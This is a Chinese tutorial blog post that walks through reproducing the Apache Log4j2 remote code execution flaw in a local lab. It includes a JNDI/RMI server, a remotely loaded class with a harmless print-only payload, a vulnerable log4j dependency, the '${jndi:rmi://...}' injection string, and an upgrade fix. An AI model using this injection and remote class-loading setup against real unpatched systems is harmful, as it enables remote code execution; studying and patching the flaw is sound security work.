手把手教你复现apache log4j2 漏洞

举报
IT 叶新东老师 发表于 2021/12/22 00:58:34 2021/12/22
【摘要】 前言 因为log4j2是java的日志框架, 所在这边也使用java进行测试,需要注意的是,log4j2的版本从2.0 ~ 2.14.1之间都是有安全漏洞的, 在2.15版本(包含2.15)后就已经修复...

前言

因为log4j2是java的日志框架, 所在这边也使用java进行测试,需要注意的是,log4j2的版本从2.0 ~ 2.14.1之间都是有安全漏洞的, 在2.15版本(包含2.15)后就已经修复了这个漏洞;所以我们在复现时只要版本不超过2.15即可;

原因

开源网安研究院注意到,一个 Apache Log4j2 的高危漏洞细节被公开,攻击者利用漏洞可以远程执行代码。SourceCheck 产品对此次漏洞可以提供在线和离线升级包来对此协助筛查。

近日经专家团队检测发现,该漏洞只要外部用户输入数据就会被日志记录,即可造成远程代码执行。成功利用该漏洞的攻击者可以在目标设备上远程执行恶意代码。

准备复现

在复现前,需要先准备以下几样东西

  1. nginx:无版本限制
  2. Intellij idea :用来编写jmdi 服务端代码,和测试log日志
  3. log4j 依赖:(maven自动下载)

开整

因为是远程执行漏洞嘛,所以肯定需要用到不同的工程,这里准备了2个项目,一个是jmdi的服务端,另一个是打印log日志的测试类(就是一个简单的main方法)

1、准备第一个项目:jmdi服务端

项目名称为 : Jmdi-rmi-server

先创建一个服务端启动文件

public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
            // 本地执行方式
//            Reference reference = new Reference("com.rmi.RunObject", "com.rmi.RunObject", null);
            // tips:如果是远程执行,需要将`RunObject`编译后的字节码文件放到nginx html访问目录下,再通过如下方式执行程序
            Reference reference = new Reference("com.rmi.RunObject",
                    "com.rmi.RunObject", "http://127.0.0.1:80/"); // 第三个参数是nginx的地址
            registry.bind("app", new ReferenceWrapper(reference));
            System.out.println("Create app registry on port 1099...");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

除此之外,还要有一个执行的类RunObject.java,这个类有什么作用呢?,当我们打印第二个项目的log日志时,就会执行static静态代码块里面的代码, 是不是很神奇呢?我们拭目以待吧

package com.rmi;
/**
 * 将此类的代码编译成class文件后放到nginx的html目录下即可
 */
public class RunObject {
    static {
        for (int i = 0; i < 10; i++) {
            System.out.println(String.format("第%d次轮询", i));
        }
    }
}

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

2、准备第二个项目:log运行环境

先加上log4j的依赖,版本不小于2.0,不超过2.14.1即可

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.2</version>
        </dependency>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5

log4j日志配置文件 :log4j2.properties

status=error
name=PropertiesConfig
filters=threshold
filter.threshold.type=ThresholdFilter
filter.threshold.level=debug
appenders=console
appender.console.type=Console
appender.console.name=STDOUT
appender.console.layout.type=PatternLayout
appender.console.layout.pattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
rootLogger.level=debug
rootLogger.appenderRefs=stdout
rootLogger.appenderRef.stdout.ref=STDOUTstatus = error
name=PropertiesConfig
filters=threshold
filter.threshold.type=ThresholdFilter
filter.threshold.level=debug
appenders=console
appender.console.type=Console
appender.console.name=STDOUT
appender.console.layout.type=PatternLayout
appender.console.layout.pattern=%d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
rootLogger.level=debug
rootLogger.appenderRefs=stdout
rootLogger.appenderRef.stdout.ref=STDOUT

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25

打印日志的代码,纳尼?这么简单嘛?没错就是这么简单

package com;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
    static Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        // jdk 1.8 需要加上以下配置
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        String value = "${jndi:rmi://192.168.255.10:1099/app}";
        logger.info("123 {}", value);
    }
}

  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

3、启动nginx

自行去官网下载一个任意版本的nginx即可,建议使用新版本

4、编译RunObject 并放到nginx中

第一步中的jndi 服务端还有 RunObject.java 文件,先将这个文件进行编译,得到一个RunObject.class文件,将这个文件连同包名放到nginx的html文件夹下,目录为:nginx目录/html,记得要将类的包名创建好文件夹哦,因为我的RunObject是在com.rmi包下的,所以要将class文件放到``nginx目录/html/com/rmi/`目录下,后面的2级目录需要自己创建好
在这里插入图片描述

5、万事俱备

好了现在,环境就已经搭建好了,接下来,先启动服务端,运行后会打印以下内容;表示已经启动成功了,服务端因为要接收请求,所以会一直阻塞;
在这里插入图片描述

6、进行打印log4j日志

运行后打印以下日志表示成功,可以看到这边直接执行了服务端RunObject类的静态代码
在这里插入图片描述

修复

要修复非常简单,只需要将mave依赖的log4j版本修改为2.15以上即可

       <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.15.0</version>
        </dependency>

  
 
  • 1
  • 2
  • 3
  • 4
  • 5

修改后在执行会发现,一切正常了
在这里插入图片描述

文章来源: yexindong.blog.csdn.net,作者:java叶新东老师,版权归原作者所有,如需转载,请联系作者。

原文链接:yexindong.blog.csdn.net/article/details/121951347

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。